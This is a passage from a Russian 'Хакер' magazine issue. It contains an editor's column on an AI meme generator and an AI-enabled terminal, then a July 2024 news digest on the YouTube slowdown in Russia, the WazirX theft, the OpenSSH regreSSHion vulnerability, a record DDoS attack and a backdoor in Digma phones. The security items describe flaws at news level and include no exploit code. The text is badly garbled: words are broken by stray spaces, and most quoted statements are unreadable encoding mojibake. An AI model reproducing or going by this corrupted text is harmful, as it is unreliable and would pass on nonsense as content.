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Сроч но в номер: глав ному редак тору жур- 
нала «Хакер» попались смеш ные мемасы!
Точ нее, сами по себе они впол не обыч ные,
а вот их изнанка спо соб на выз вать шок
будуще го. И винова ты, конеч но, сно ва ней- 
рон ки. Толь ко все сми рились с тем, что
машина пишет школь никам отменные
рефера ты, как теперь ее научи ли еще и
шутить-при калы вать ся.

Ме мы, о которых идет речь, на пер вый взгляд дей стви тель но впол не орди- 
нар ные. В цен тре — какой-нибудь пер сонаж, а вок руг — корот кие шуточ ки,
выс меивающие его сла бые сто роны. Нап ример, вот этот собакен дума ет, что
он хороший маль чик, а самого мно го месяцев не купали; дума ет, что хорошо
над ресси рован, а сам иног да писа ет на ков рик, ну и так далее.

Шту ка в том, что этот мем поч ти целиком сде лан искусс твен ным интеллек том
на сай те , при помощи готово го рецеп та . Ты
толь ко называ ешь пер сонажа, ждешь минуту, и готово.

Glif.app Wojak Meme Generator

Хо чешь мем про редак тора «Хакера»? Пишем «Xakep.ru editor», и...

И тут же вни зу нем ного при пека ет, потому что эта элек трон ная сво лочь нас- 
меха ется над нами: «Дума ют, что на перед нем краю, а сами пописы вают
про SQL-инъ екции». Что, меж ду про чим, чис тей шая прав да: недав но был
имен но такой матери ал и я по это му поводу писал , что бы под держать
авто ров ста тей для нович ков. Что ж, уел, зараза!

ко лон ку

Впро чем, мы отвлек лись (тем более, что самый жес ткий при кол тут дру гой,
но не будем об этом). Вмес то это го наж мем кно поч ку Remix и гля нем, что
у заразы внут ри.

Ви дим нехит рую прог рам мку из бло ков в духе Scratch или эппловско го
Shortcuts. Она получа ет ввод от поль зовате ля и переда ет его в блок, генери- 
рующий текст.

В нем задан сле дующий зап рос, где вмес то  под став ляет ся вве- 
ден ное тобой сло во:

{input1}

«
»

Now do JSON for the input: {input1} 
We've been asked to make this one extra spicey. When the input contains
more than just a concept / profession / person, use that context, but don't
bloat the headline with it. Make sure to have the image idea include
something specific about the roasted profession or concept. Start with {
just go:

До пол нитель ные инс трук ции:

«
»

You are simulating a most unhinged Wojak meme creator that
is specialized in the format of depicting a character with a surrounding tag
cloud of text in the style of "sh*t xyz says". You output JSON like so, here
is an example of the input "economist":

Даль ше — при мер вывода в фор мате JSON:

{
 "headline": "THE ECONOMIST",
 "text1": ""recession in 2 weeks" -- been in recession for 15 years"

,
 "text2": ""housing market crash in 2 weeks" -- applies efficient 

market hypothesis",
 "text3": ""GDP is real" -- Markets haven't been real in 15 years",
 "text4": ""China collapsing in two weeks"",
 "text5": ""33,000,000 jobs added this quarter"",
 "text6": ""A.I. replacing humanity in two weeks"",
 "text7": "cryptocurrency going to 0 in two weeks",
 "text8": "Inflation up 6.66%",
 "image": "smug economist grinning"

}

И еще нем ного инс трук ций:

« »
Rules: go deep, be specific. Find hilarious tragedy. Do not be racist. For
obviously racist requests, generate one that mocks the requester instead. 
You get the point! Add "--" between the two statements / duplets.

То есть, по сути, ИИ объ ясня ют, как устро ен фор мат мема, а затем дают при- 
мер, при чем сра зу в фор мате JSON (в нем же тре бует ся и вывод). Все
это скар мли вает ся ней рон ке . При желании мож но выб рать
вмес то это го Llama 3, GPT 3.5 или 4, Gemini, Perplexity, Mistral и дру гие вари- 
анты.

Claude 3.5 Sonnet

Даль ше идет пар синг дан ных — каж дая стро ка из JSON сох раня ется
в отдель ной перемен ной.

И зап рос к ней росети, рису ющей изоб ражения:

ugly portrait of {json1.image}, neutral empty white background 

Ну а в кон це все вмес те собира ется в одну кар тинку при помощи бло ка
Canvas. Здесь в тек сто вые поля под став ляют ся зна чения перемен ных, а в
цен тре рас положен сге нери рован ный ранее пор трет.

И это все, что нуж но, что бы подарить людям мас су радос ти и веселья! На том
же Glif.app есть рецеп ты и для дру гих популяр ных фор матов: 

, ,  и так далее. Мож но генери ровать не толь ко
мемы: к при меру, кто-то сде лал рецепт, который штам пует под делки под 

.

силь ная и сла бая
собаки Virgin vs Chad ай сберг

дет- 
ские рисун ки

Пол ный набор бло ков Glif

В общем, сра зу вспо мина ется широко рас тиражи рован ная  сатири ка
Кар ла Шар ро: «Люди работа ют за минималь ный оклад, пока роботы пишут
сти хи и рису ют, — это не то будущее, которое я хотел». Что ж, теперь не толь- 
ко сти хи, но и топовый кон тент для соц сетей.

ци тата

Ну а для тех, кто хочет чего-нибудь посерь езнее, я при пас дру гую наход ку,
тоже свя зан ную с ИИ. Как ты, воз можно, зна ешь, одно из моих увле чений —
раз ные наворо ты для тер минала. О пос леднем раз витии событий я пару лет
назад писал в колон ке « ». А еще я дав но пог лядывал
на прог рамму под наз вани ем  (есть вер сии для Mac, Windows и Linux).

Тер миналь ное счастье
Warp

У Warp мно жес тво дос тоинств: он удоб но раз деля ет вывод команд, поз- 
воля ет кли кать по наз вани ям папок и фай лов, что бы откры вать их, име ет
встро енный блок нот и про чие удобс тва. И конеч но, в него недав но завез ли
искусс твен ный интеллект на осно ве ChatGPT. И в отли чие от дру гих прог рамм,
куда его суют по поводу и без, здесь ИИ при шел ся как нель зя более кста ти.

Вот, нап ример, я про шу най ти в пап ке  все фай лы с подс тро- 

кой Elden Ring в наз вании, а затем сде лать из них стра ницу с там бней лами.

~/Downloads

В ответ ней рон ка говорит: «Отлично, понадо бит ся две коман ды — пер вой
соберем наз вания фай лов, вто рой запус тим ути литу montage из пакета
ImageMagick». Обе коман ды мож но сра зу же и запус тить. Резуль тат — ров но
то, что я ожи дал.

С одной сто роны, как и в слу чае с мемами, вро де бы ничего револю цион ного:
эти зап росы и так мож но было скор мить ChatGPT вруч ную. С дру гой — пря мо
у нас на гла зах кар диналь но меня ется под ход к исполь зованию компь юте ра.

mailto:apismenny@gmail.com
https://glif.app/
https://glif.app/@fab1an/glifs/clxtc53mi0000ghv10g6irjqj
https://xakep.ru/2024/02/23/for-newbies/
https://www.anthropic.com/news/claude-3-5-sonnet
https://glif.app/@rando3539/glifs/cly1c33qn000cai71h5jy3n16
https://glif.app/@fab1an/glifs/clxu7p0p70003120pcp9un49b
https://glif.app/@Reinmar/glifs/clxx3aoxe000v8epdzr7m4iyo
https://glif.app/@lobabobloblaw/glifs/clvszz5iq0000qw26aqdsnl47
https://x.com/KarlreMarks/status/1658028017921261569?lang=en
https://xakep.ru/2022/02/16/terminal-tricks/
https://www.warp.dev/
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В этом месяце: YouTube в Рос сии замед ляет ся, обновле ние
CrowdStrike сло мало 8,5 мил лиона Windows-сис тем, про цес- 
соры Intel могут необ ратимо дег радиро вать, уяз вимость
regreSSHion угро жает сер верам OpenSSH, в кно поч ных
телефо нах Digma наш ли бэк дор, в сеть утек ла БД
BreachForums и дру гие инте рес ные события ушед шего июля.

ЗАМЕДЛЕНИЕ
YOUTUBE
В Рос сии начала замед лять ся работа YouTube. Гла ва комите та Гос думы
по инфор мпо лити ке Алек сандр Хин штейн пояс нил, что замед ление сер виса
свя зано «в пер вую оче редь с дей стви ями (а точ нее без дей стви ем) самого
YT». А в Рос комнад зоре про ком менти рова ли, что «неува жение к нашей стра- 
не и граж данам явля ются осно вани ем для при нятия мер в отно шении
YouTube».

ХРОНОЛОГИЯ СОБЫТИЙ
 ком пания Google  рос сий ских про вай деров об отклю чении сер- 

веров Google Global Cache (GGC), которые поз воля ют уско рить заг рузку сер висов ком пании,
вклю чая YouTube.

Вес ной 2022 года уве доми ла

Так, в начале 2022 года в сетях рос сий ских опе рато ров дей ство вало око ло 700 кеширу- 
ющих сер веров GGC, и ожи далось, что к кон цу 2023 года их количес тво сок ратит ся при мер но
до 450.

 руково дитель по стра теги чес кому раз витию переда чи дан ных ПАО
«Вым пелКом» (тор говая мар ка «Билайн») Кон стан тин Колесов  на «Пирин говом форуме
MSK-IX», что Google пред ложила рос сий ским опе рато рам орга низо вать пря мой стык в Мос кве
или Петер бурге для сох ранения качес твен ного дос тупа к ее сер висам вмес то выходя щих
из строя и перепол няющих ся без модер низации кеш-сер веров.

В кон це 2023 года
со общил

 пред ста вите ли «Рос телеко ма»  «о веро ятности воз- 

никно вения в бли жай шее вре мя тех ничес ких проб лем со ско ростью заг рузки видео YouTube».

12 июля 2024 года пре дуп редили

Тог да в ком пании сооб щили, что из-за проб лем в работе обо рудо вания Google Global
Cache, исполь зуемо го на сетевой инфраструк туре опе рато ра и пирин говых сты ках, воз ника ют
тех ничес кие проб лемы, которые могут вли ять на ско рость заг рузки и качес тво вос про изве- 
дения роликов в YouTube у або нен тов всех рос сий ских опе рато ров.

В этот же день заяв ление «Рос телеко ма»  пресс-сек ретарь пре зиден та
Рос сии Дмит рий Пес ков, сооб щив, что рос сий ские влас ти не пла ниру ют огра ничи вать дос туп
к YouTube, а слож ности в работе сер виса свя заны с проб лемами с обо рудо вани ем.

про ком менти ровал

Из дание « », со ссыл кой на собс твен ные источни ки (близ кие к адми нис тра ции пре- 
зиден та и занима ющиеся сбо ром информа ции для силовых струк тур), сооб щило, что рос сий-
ские влас ти пла ниру ют окон чатель но заб локиро вать YouTube в сен тябре 2024 года.

Га зета.ру

 в «Рос телеко ме» , что фик сиру ют ухуд шение качес тва заг- 

рузки видео на YouTube, осо бен но в фор матах высоко го раз решения, а так же отме чают рост
жалоб поль зовате лей на качес тво работы сер виса.

24 июля 2024 года за яви ли

В ком пании сно ва сооб щили, что ответс твен ность за это «несет кор порация Google (вла- 
делец виде охос тинга YouTube), которая с 2022 года не занима ется рас ширени ем и обновле- 
нием сво его обо рудо вания в Рос сии, обес печива юще го работу сис темы Google Global Cache»,
и проб лемы с YouTube воз ника ют из-за «изно са и исчерпа ния мощ ности обо рудо вания Google»,
которое уже не может справ лять ся с сущес твен но вырос шим интернет-тра фиком».

 гла ва комите та Гос думы по инфор мпо лити ке Алек сандр Хин штейн 
 в сво ем Telegram-канале, что «„дег радация“ YouTube — вынуж денный шаг, нап равлен ный

не про тив рос сий ских поль зовате лей, а про тив адми нис тра ции инос тран ного ресур са, который
по-преж нему счи тает, что может без наказан но нарушать и игно риро вать наше законо датель- 
ство».

25 июля 2024 года со- 
общил

По его сло вам, ско рость заг рузки YouTube на дес кто пах к кон цу месяца может сни зить ся
на 70%.

Поз же Алек сандр Хин штейн опуб ликовал в сво ем Telegram-канале еще один
пост, в котором дал более . Он под твер дил, что ско- 
рость заг рузки YouTube за пос леднее вре мя «по фак ту уже сни зилась до 40%,
ско ро может сни зить ся до 70%». По его сло вам, это в пер вую оче редь свя- 
зано «с дей стви ями (а точ нее без дей стви ем)» самого сер виса и отклю чени ем
сер веров GGC.

под робные пояс нения

«

»

«Ñ ó÷å òîì îñòðî òû ñèòó àöèè, Google ñàì íà÷àë ïðåä ëàãàòü
òåëåêîì�îïå ðàòî ðàì ïîä êëþ ÷àòü ñÿ ê ðîñ ñèé ñêèì äàòà�öåí òðàì íàï- 
ðÿìóþ. Ýòî ïîç âîëèëî îñòà íîâèòü ïàäåíèå êà÷åñ òâà òðà ôèêà, íî âðå- 
ìåí íî.

Ïî òîìó ÷òî òóò æå âñòà ëà äðó ãàÿ ïðîá ëåìà: ïîñ êîëü êó Google ïîä- 
äåðæè âàåò ñàí êöèè è äàæå îáàí êðî òèë ñâîþ ðîñ ñèé ñêóþ „äî÷ êó“, îí
íå ìîæåò îôè öèàëü íî îïëà ÷èâàòü óñëó ãè ðîñ ñèé ñêèõ äàòà�öåí òðîâ. ß
íå çíàþ äåòàëè: áåñ ïëàò íî ëè ðàç ìåùåíû èõ ñåð âåðà â íàøèõ ÖÎÄàõ,
èëè äåíü ãè èäóò ÷åðåç „ñåðûå“ ïîëóê ðèìèíàëü íûå ñõå ìû. Íî â ëþáîì
ñëó ÷àå ýòî âñё íåçàêîí íî, è âñå ó÷àñ òíè êè ýòî õîðîøî ïîíèìà þò.

Íà ýòî ìîæ íî áûëî áû, íàâåð íîå, çàê ðûâàòü ãëà çà, íî òîëü êî íå â
óñëî âèÿõ, êîã äà YouTube äåìîíñ òðà òèâ íî íàðóøà åò íàøè çàêîíû
è ïðî âîäèò îòêðî âåí íî àíòè ðîñ ñèé ñêóþ ïîëèòè êó: ïîñ ëåäîâà òåëü íî
óäà ëÿåò êàíàëû ðîñ ñèÿí, èãíî ðèðó åò òðå áîâà íèÿ Ðîñ êîìíàä çîðà», —
ïèøåò Õèí øòåéí.

По его сло вам, в бли жай шее вре мя рос сий ские даты-цен тры, сот рудни- 
чающие с Google, намере ны прек ратить работу с ком пани ей по «серым схе- 
мам», что при ведет к еще более рез кому падению ско рос ти заг рузки YouTube.

«

»

«Àäìè íèñ òðà öèè ÖÎÄîâ ðàçóì íî ðàñ ñóäèëè, ÷òî äåëàòü ýòî ëó÷ øå
âñå ãî â àâãóñòå, ÷òî áû ìèíèìè çèðî âàòü ïîñ ëåäñ òâèÿ äëÿ íàøèõ ãðàæ- 
äàí. Äåé ñòâèÿ ÖÎÄ çàò ðîíóò â ïåð âóþ î÷å ðåäü òðà ôèê ñòà öèîíàð íûõ
êîìïü þòå ðîâ.

Âàæ íî ïîíèìàòü, ÷òî äëÿ ðîñ ñèé ñêèõ ïîëü çîâàòå ëåé ðåñóðñ âñå
ðàâ íî îñòà íåò ñÿ äîñ òóïíûì. Òå, êòî ñìîò ðèò õóäîæåñ òâåí íûé
èëè ó÷åá íî�ïðîñ âåòèòåëü ñêèé êîí òåíò, è äàëü øå ñìî ãóò ýòî äåëàòü,
ïðîñ òî íà åãî çàã ðóçêó òåïåðü ïîò ðåáó åòñÿ ÷óòü áîëü øå âðå ìåíè.

Ñêî ðåå âñå ãî, íàèáî ëåå ÷óâñ òâè òåëü íî îòðå àãè ðóþò íà ñíè æåíèå
êà÷åñ òâà òðà ôèêà ðåê ëàìîäà òåëè, è âîò ýòî ñòà íåò äëÿ Google óæå
ñåðü åçíîé ïðîá ëåìîé.

Ìîæ íî ëè èçìå íèòü ñèòó àöèþ? Äà. Íî âñå çàâèñèò èñêëþ ÷èòåëü íî
îò ïîëèòè êè ñàìîãî Google.

Ïîâ òîðÿë è ïîâ òîðÿþ: äàëü íåéøàÿ ñóäü áà YouTube â Ðîñ ñèè —
â åãî ðóêàõ.

Google íè÷ òî íå ìåøà åò: ïîñ òðî èòü ñîáñ òâåí íûå ñåð âåðíûå öåí òðû
â ÐÔ, îòêðûòü ïðåä ñòà âèòåëü ñòâî (âìåñ òî áàí êðîòñ òâà „äî÷ êè“)
è âîîá ùå ïåðåñ òàòü îòíî ñèòü ñÿ ê íàøåé ñòðà íå êàê ê èíôîðìà öèîí- 
íîé êîëîíèè (ñëà âà Áîãó, YT óæå áîëü øå íå ìîíîïî ëèñò è ó íàñ ðàç- 
âèâà þòñÿ ñâîè ðåñóð ñû); äîãîâî ðèòü ñÿ ñ âëàñ òÿìè ÑØÀ î ñíÿ òèè
àíòè ðîñ ñèé ñêèõ ñàí êöèé íà ïîñ òàâêó â ÐÔ ñâî åãî îáî ðóäî âàíèÿ ëèáî
ïðî èçâî äèòü ëåãàëü íûå ïëà òåæè ïî îïëà òå óñëóã íàøèõ ÖÎÄîâ.

È íàêîíåö — ãëàâ íîå: íàó÷èòü ñÿ ñîá ëþäàòü íàøè çàêîíû è ïðåê- 
ðàòèòü ñâîþ àíòè ðîñ ñèé ñêóþ ïîëèòè êó, ÷òî â óñëî âèÿõ ÑÂÎ ÿâëÿ åòñÿ
ïðèí öèïè àëü íûì.

Óæ êàê ìèíèìóì Google äîë æåí ñåé ÷àñ âûïîë íèòü òðå áîâà íèÿ Ðîñ- 
êîìíàä çîðà è ðàç áëî êèðî âàòü (çàìåòü òå: íå çàá ëîêèðî âàòü, à èìåí íî
ðàç áëî êèðî âàòü!) êàíàëû ðîñ ñèé ñêèõ ÑÌÈ, áëî ãåðîâ, îáùåñ òâåí íûõ
äåÿòå ëåé.

Äî òåõ ïîð ïîêà íåîä íîêðàò íûå ïðåä ïèñàíèÿ ðåãóëÿ òîðà îñòà þòñÿ
íåèñ ïîëíåí íûìè, ó ãîñóäàðñ òâà åñòü âñå îñíî âàíèÿ äëÿ ïðè ìåíå íèÿ
ìåð ïðè íóæ äåíèÿ, ïðå äóñ ìîòðåí íûõ çàêîíîì», — çàÿâèë Õèí øòåéí.

Про ком менти рова ли ситу ацию с замед лени ем YouTube и в Рос комнад зоре
(РКН). В пресс-служ бе ведомс тва сооб щили СМИ, что при чиной при нятия
мер к YouTube ста ло «неува жение к стра не».

« »
«Ìíî ãî÷èñ ëåííûå íàðóøå íèÿ íàøåãî çàêîíî äàòåëü ñòâà, íåóâà æåíèå
ê íàøåé ñòðà íå è ãðàæ äàíàì ÿâëÿ þòñÿ îñíî âàíè åì äëÿ ïðè íÿòèÿ ìåð
â îòíî øåíèè YouTube», — ãîâîðèò ñÿ â ñîîá ùåíèè ÐÊÍ.

В ведомс тве добав ляют, что у Рос комнад зора дос таточ но инс тру мен тов
для мотива ции ком пании в такой ситу ации. Так, в ведомс тве напом нили, что
суд РФ взыс кал за пос ледние три года с ком пании Google свы ше 25 мил лиар- 
дов руб лей, хотя «и эта мера не помог ла».

Так же в РКН отме тили, что неод нократ но  с тре бова- 
нием о раз бло киров ке более 200 акка унтов рос сий ских СМИ, артистов
и общес твен ных деяте лей, одна ко не получа ли отве та.

об ращались к Google

В пос ледние нес коль ко дней сра зу нес коль ко про вай деров (нап ример,
МТС и «Дом.ру») начали пре дуп реждать сво их або нен тов о воз можных сбо ях
в работе YouTube.

« »
«Ïî íåçàâè ñÿùèì îò ÌÒÑ ïðè ÷èíàì ó íåêîòî ðûõ àáî íåí òîâ ìîãóò íàá- 
ëþäàòü ñÿ ñáîè â ðàáîòå YouTube», — ñîîá ùàåò ðîáîò ÌÒÑ ïðè çâîí êå
íà ãîðÿ÷óþ ëèíèþ.

 ДОЛЛАРОВ США УКРАЛИ У WAZIRX230 000 000

Ин дий ская крип тобир жа WazirX ста ла жер твой взло ма, который при вел к кра же крип товалют ных
акти вов на сум му  дол ларов США.230 мил лионов

По информа ции ана лити ков ком пании Elliptic, у WazirX были похище ны: 
токенов SHIB, более  токенов Ethereum,  токенов Matic, 

 токенов Pepe,  USDT,  токенов Gala и так далее.

5,43  мил лиар да
15 200 20,5 мил лиона 640 мил лиар- 

дов 5,79 мил лиона 135 мил лионов

Зло умыш ленни ки попыта лись кон верти ровать эти акти вы на децен тра лизо ван ной бир же
Uniswap. В Elliptic отме тили, что сто ящие за ата кой хакеры могут быть свя заны с Север ной
Коре ей.

УЯЗВИМОСТЬ
REGRESSHION
Мил лионы сер веров OpenSSH могут быть уяз вимы перед све жей проб лемой

 (CVE-2024-6387), которая может исполь зовать ся для неаутен- 
тифици рован ного уда лен ного выпол нения кода.
regreSSHion

Уяз вимость CVE-2024-6387 была най дена спе циалис тами ИБ-ком пании
Qualys, которые рас ска зали, что это кри тичес кий баг, серь езность которо го
ничуть не усту пает таким нашумев шим проб лемам, как Log4Shell.

Проб лема свя зана с сер верным про цес сом sshd, который под вержен сос- 
тоянию гон ки обра бот чика сиг налов. Это поз воля ет неаутен тифици рован- 
ному уда лен ному зло умыш ленни ку выпол нить код с при виле гиями root в Linux-
сис темах на базе glibc. Пока неиз вес тно, воз можна ли экс плу ата ция CVE-
2024-6387 в сис темах под управле нием Windows и macOS.

По сути, CVE-2024-6387 пред став ляет собой вари ант ста рой уяз вимос ти
CVE-2006-5051, и уяз вимость вновь про яви лась в октябре 2020 года
с выходом OpenSSH 8.5p1. То есть перед regreSSHion уяз вимы:
• вер сии OpenSSH до 4.4p1, если в них не уста нов лены исправ ления

для CVE-2006-5051 и CVE-2008-4109;
• вер сии с 8.5p1 по 9.8p1 (не вклю читель но), где проб лема вновь про яви- 

лась из-за слу чай ного уда ления кри тичес кого ком понен та.

Вер сии с 4.4p1 до 8.5p1 (не вклю читель но) не уяз вимы бла года ря пат чу
для CVE-2006-5051, который сде лал небезо пас ную ранее фун кцию безопас- 
ной. Так же отме чает ся, что ошиб ка не зат рагива ет OpenBSD, так
как в 2001 году OpenBSD раз работа ли защищен ный механизм, пре дот вра- 
щающий эту проб лему.

«

»

«Åñëè êëè åíò íå ïðî õîäèò àóòåí òèôèêà öèþ â òå÷åíèå LoginGraceTime
ñåêóíä (120 ïî óìîë ÷àíèþ), òî îáðà áîò ÷èê SIGALRM â sshd âûçûâà åòñÿ
àñèí õðîí íî è âûçûâà åò ðàç ëè÷íûå ôóí êöèè, êîòîðûå íå ÿâëÿ þòñÿ
áåçîïàñ íûìè ñ òî÷ êè çðå íèÿ async-signal, — ïîÿñ íÿþò â áþë ëåòåíå
áåçîïàñ íîñòè ðàç ðàáîò ÷èêè Debian. — Óäà ëåí íûé íåàóòåí òèôèöè- 
ðîâàí íûé çëî óìûø ëåííèê ìîæåò âîñ ïîëü çîâàòü ñÿ ýòèì è âûïîë íèòü
ïðî èçâîëü íûé êîä ñ ïðè âèëå ãèÿìè root».

Де ло осложня ется тем, что OpenSSH широко при меня ется на пред при ятиях
для уда лен ного управле ния сер верами и безопас ного обме на дан ными. Так,
по информа ции ком пании Qualys, поиск через Shodan и Censys обна ружи вает
более 14 мил лионов потен циаль но уяз вимых экзем пля ров OpenSSH, дос- 
тупных через интернет.

Нес мотря на серь езность проб лемы, спе циалис ты Qualys пишут, что
regreSSHion труд но экс плу ати ровать в реаль нос ти и пот ребу ется мно жес тво
попыток, что бы добить ся необ ходимо го пов режде ния памяти. Одна ко отме- 
чает ся, что для пре одо ления этих труд ностей и повыше ния про цен та
успешной экс плу ата ции могут быть исполь зованы ИИ-инс тру мен ты.

Проб лема regreSSHion была устра нена с выходом вер сии 9.8p1,
до которой теперь рекомен дует ся обно вить ся как мож но ско рее.

Так же отме тим, что во вре мя ана лиза CVE-2024-6387 в OpenSSH была
най дена  уда лен ного выпол нения кода.еще одна уяз вимость

Вто рой баг обна ружил спе циалист Openwall Алек сандр Пес ляк. Он рас ска- 
зал, что эта проб лема, свя зан ная с regreSSHion, пред став ляет собой сос- 
тояние гон ки при обра бот ке сиг налов с учас тием дочер него про цес са
privsep.

Уяз вимость получи ла иден тифика тор CVE-2024-6409 (7 бал лов по шка ле
CVSS) и зат рагива ет sshd-демон вер сий 8.7p1 и 8.8p1, которые исполь зуют ся
в Fedora 36 и 37, а так же в Red Hat Enterprise Linux 9 (RHEL 9).

НОВЫЙ DDOS-РЕКОРД
В начале 2024 года ком пания OVHcloud отра зила рекор дную DDoS-ата ку, мощ ность которой
дос тигла  (Mpps). В ком пании счи тают, что за этой ата- 
кой сто ял бот нет из устрой ств MikroTik.

840 мил лионов пакетов в секун ду

С начала 2023 года наб люда ется тен денция к уве личе нию объ ема атак, при чем ата ки, пре- 
выша ющие , в 2024 году уже ста ли еже недель ными и прак тичес ки ежед невны ми.1 Тбит/с

За пос ледние 18 месяцев наибо лее мощ ная ата ка, зафик сирован ная OVHcloud, про изош- 
ла 25 мая 2024 года и дос тигла .2,5 Тбит/с

А в апре ле текуще го года сама OVHcloud стол кну лась с ата кой мощ ностью , что пре- 
вос ходит пре дыду щий рекорд — DDoS-ата ку мощ ностью , нап равлен ную на евро пей- 
ский банк, которую спе циалис ты Akamai .

840 Mpps
809 Mpps

от разили в июне 2020 года

Ата ка типа TCP ACK исхо дила с . Две тре ти пакетов были нап равле ны все го
через четыре точ ки в США.

5000 IP-адре сов

Мно гие из зафик сирован ных инци ден тов, вклю чая рекор дную ата ку, исхо дили от ском про мети- 
рован ных устрой ств , пред назна чен ных для высокоп роиз- 
водитель ных сетей.

MikroTik Cloud Core Router

Ис сле дова тели ком пании обна ружи ли в интерне те более  дос тупных устрой ств
MikroTik.

100  тысяч

Объ еди нение даже  дос тупных девай сов в бот нет может дать зло умыш ленни кам дос таточ но
мощ ности для про веде ния атак, дос тига ющих .

1%
2,28 мил лиар да пакетов в секун ду

БЭКДОР В
«БАБУШКАФОНАХ»
Спе циалист обна ружил бэк дор в телефо нах Digma (при над лежит рос сий ской
дис три бутор ской ком пании «Мер лион»). Он поз воля ет управлять телефо ном
уда лен но, в том чис ле рас сылать SMS-сооб щения и при нимать их, переда- 
вать дан ные на сто рон ние сер веры, регис три ровать на номер телефо на жер- 
твы акка унты в мес сен дже рах и так далее.

Ссы лаясь на неназ ванный «источник в отрасли кибер безопас ности»,
который стол кнул ся с проб лемой, «Ком мерсант» сооб щил, что через месяц
пос ле покуп ки кно поч ного телефо на Digma и под клю чения новой SIM-кар ты
на этот номер без ведома поль зовате ля был зарегис три рован акка унт
в WhatsApp.

По сло вам неназ ванно го спе циалис та, телефон с опре делен ной пери- 
одич ностью обра щает ся к уда лен ному сер веру, переда вая такие дан ные,
как IMEI-иден тифика тор, иден тифика тор SIM-кар ты и информа цию об опе-
рато ре свя зи. Сер вер в ответ посыла ет устрой ству коман ду: отпра вить SMS
с задан ным тек стом на кон крет ный номер, вывес ти получен ное сооб щение
на экран. При этом отправ ленные и при нятые сооб щения не сох раня ются
в памяти телефо на.

На обра щения поль зовате ля спе циалис ты Digma отве тили, что отме чают
«ано малии» в работе про шив ки устрой ства, одна ко наличие уяз вимос ти
не под твер дили.

Сто ит отме тить, что еще в 2021 году ИБ-спе циалист, извес тный под ником
ValdikSS, пос вятил проб леме тро янов и бэк доров в прос тей ших кно поч ных
телефо нах . Тог да он рас ска зывал, что в рос сий ской роз нице
встре чают ся устрой ства «со встро енным тро яном, отправ ляющим плат ные
СМС-сооб щения на корот кие номера, текст которо го заг ружа ется с сер вера,
так же быва ют устрой ства с нас тоящим бэк дором, пересы лающим вхо дящие
СМС-сооб щения на сер вер зло умыш ленни ков».

боль шую статью

Пос ле выхода пуб ликации в «Ком мерсан те» ValdikSS , что речь
шла о модели Digma A172, которую он изу чает уже нес коль ко месяцев.

со общил

«

»

«Áýê äîð õîðîøèé: êîã äà ñ ñåð âåðà ïðè õîäèò êîìàí äà íà îòïðàâ êó
ÑÌÑ (èëè êîã äà ïîëó÷å íà âõî äÿùàÿ ÑÌÑ ïðè óñòà íîâ ëåííîì ôèëü òðå),
âèçó àëü íî íåò íèêàêîé èíäè êàöèè î êàêîì�ëèáî ñîáûòèè, ïðå äóñ- 
ìîòðå ëè äàæå ñêðû òèå èêîí êè âûõîäà â èíòåðíåò (G ó ñèëû ñåòè).

Äàí íûå øèô ðóþò ñÿ RC5 ñ äèíàìè ÷åñ êèì êëþ ÷îì, äëÿ îáìå íà
èñïîëü çóåò ñÿ BSON.

Íà ïåð âûõ ýòà ïàõ ôóí êöèè ÑÌÑ èñïîëü çóþò ñÿ äëÿ òîãî, ÷òî áû
óçíàòü íîìåð âëà äåëü öà: îäíî ìó òåëåôî íó, íîìåð êîòîðî ãî óæå
èçâåñòåí, ñåð âåð óñòà íàâ ëèâà åò ôèëü òð âõî äÿùèõ ñîîá ùåíèé, à âòî- 
ðîìó äàåò êîìàí äó íà îòïðàâ êó ÑÌÑ íà íîìåð ïåð âîãî. Ïåð âûé
òåëåôîí ïåðåñû ëàåò íîìåð è òåêñò ïîëó÷åí íîãî ÑÌÑ íà ñåð âåð.
Â òåê ñòå ñîäåð æèòñÿ óíè êàëü íûé èäåí òèôèêà òîð, ïîç âîëÿ þùèé ñâÿ- 
çàòü íîìåð òåëåôî íà ñ äðó ãèìè èçâåñ òíû ìè èäåí òèôèêà òîðà ìè
òåëåôî íà.

Âïîñ ëåäñ òâèè âðå äîíîñ ìîæåò èñïîëü çîâàòü ñÿ äëÿ ðåãèñ òðà öèè
àêêà óíòîâ â ìåñ ñåí äæå ðàõ è íà ñåð âèñàõ, òðå áóþùèõ ïîä òâåðæäå íèÿ
ïî ÑÌÑ, íî ïðî èñõî äèò ýòî íå ñðà çó — àêòèâíîñòü òåëåôî íà îòñëå- 
æèâà åòñÿ ïî âðå ìåíè ñ ìîìåí òà åãî âêëþ ÷åíèÿ, êîëè÷åñ òâó ïðè íÿòûõ
ÑÌÑ è äðó ãèì ïàðàìåò ðàì, ÷òî áû çàò ðóäíèòü îáíà ðóæå íèå áýê äîðà.

ß ïîç âîíèë ïî îäíî ìó èç íîìåðîâ, êîòîðûé ñåð âåð ñîîá ùèë
äëÿ îòïðàâ êè ÑÌÑ, — æåí ùèíà íà òîì êîí öå ïîä òâåð äèëà, ÷òî ïîëó÷è- 
ëà îò ìåíÿ ÑÌÑ „ñ êàêèìè�òî öèô ðàìè“, è óòî÷ íèëà, ÷òî ðàíåå SIM
ñòî ÿëà â êíî ïî÷ íîì òåëåôî íå, à ñåé ÷àñ óñòà íîâ ëåíà â ñìàð òôîí.

Digma òîëü êî ÷òî, ïîñ ëå ñòàòüè â „Êîì ìåðñàí òå“, çàê ðûëà òèêåò
ñ ôîð ìóëèðîâ êîé „Òàê, çàê ðûëè îáñóæäå íèå“. Äî ýòî ãî îíè óòâåð æäà- 
ëè, ÷òî èíòåðíåò èñïîëü çóåò ñÿ äëÿ îáíîâëå íèÿ äîñ òóïíîñ òè è öåí ñåð- 
âèñà ïîä ïèñîê Funbox, íåñ ìîòðÿ íà òî ÷òî â áîëåå ñâå æåé ïðî øèâ êå,
íà òåëåôîí ñ êîòîðîé çàðåãèñ òðè ðîâà ëè WhatsApp, åãî íåò», — ïèñàë
èññëå äîâà òåëü.

Пос ле выхода пуб ликаций в СМИ пред ста вите ли Digma дали сле дующий ком- 
мента рий:

«

»

«Â êíî ïî÷ íûõ òåëåôî íàõ Digma îòñóòñ òâó åò ôóí êöè îíàë, êîòîðûé ìîæ- 
íî êëàñ ñèôèöè ðîâàòü êàê backdoor èëè âñòðî åííóþ óÿç âèìîñòü. Â ïðî- 
øèâ êó âñòðî åí ôóí êöè îíàë îò ñòî ðîí íåãî ðîñ ñèé ñêî ãî ñåð âèñà, öåëüþ
êîòîðî ãî ÿâëÿ åòñÿ îáìåí SMS-ñîîá ùåíè ÿìè ôèê ñèðîâàí íîãî ôîð ìàòà
